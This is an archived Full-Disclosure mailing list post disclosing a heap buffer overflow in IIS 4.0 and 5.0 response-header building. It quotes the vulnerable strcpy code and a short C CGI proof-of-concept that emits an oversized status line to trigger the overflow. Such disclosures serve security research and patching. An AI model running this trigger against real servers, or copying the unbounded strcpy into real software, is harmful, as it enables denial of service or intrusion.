full-disclosure - iis4\iis5 older bug

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 28 Dec 2010 12:16:41 +0000
From: yuange <yuange1975@...mail.com>
To: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: iis4\iis5  older bug


 
http://hi.baidu.com/yuange1975/blog/item/6242cfa9f651fbee1e17a2f6.html
 
HTTP_REQ_BASE::BuildBaseResponseHeader(
    BUFFER *     Response,
...
    STR *        pstr,
 ...
    )
 
   {
   
 
    ...... 
    if ( !pstr )
    {
 
      }
    else
    {
        strcpy( (CHAR *) Response->Ptr(), pstr->Str() );
 
//缓冲溢出，堆溢出
       ......
    }
 
   
/*
     cgi.c  ver1.0 
     iis4.0、iis5.0    overflow program
     copy by yuange 2003.1.3
*/   
#include <windows.h> 
#include <stdio.h>
#define  BUFFSIZE 0x4000
int main(int argc, char **argv)
{ 
 char  buff[BUFFSIZE];
 memset(buff,'a',BUFFSIZE);
 memset(buff+BUFFSIZE-1,0,1);
 printf("Status:200ok%s\r\n\r\n\r\n\n\n",buff);
  
 return(0);
}

 
  		 	   		  
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/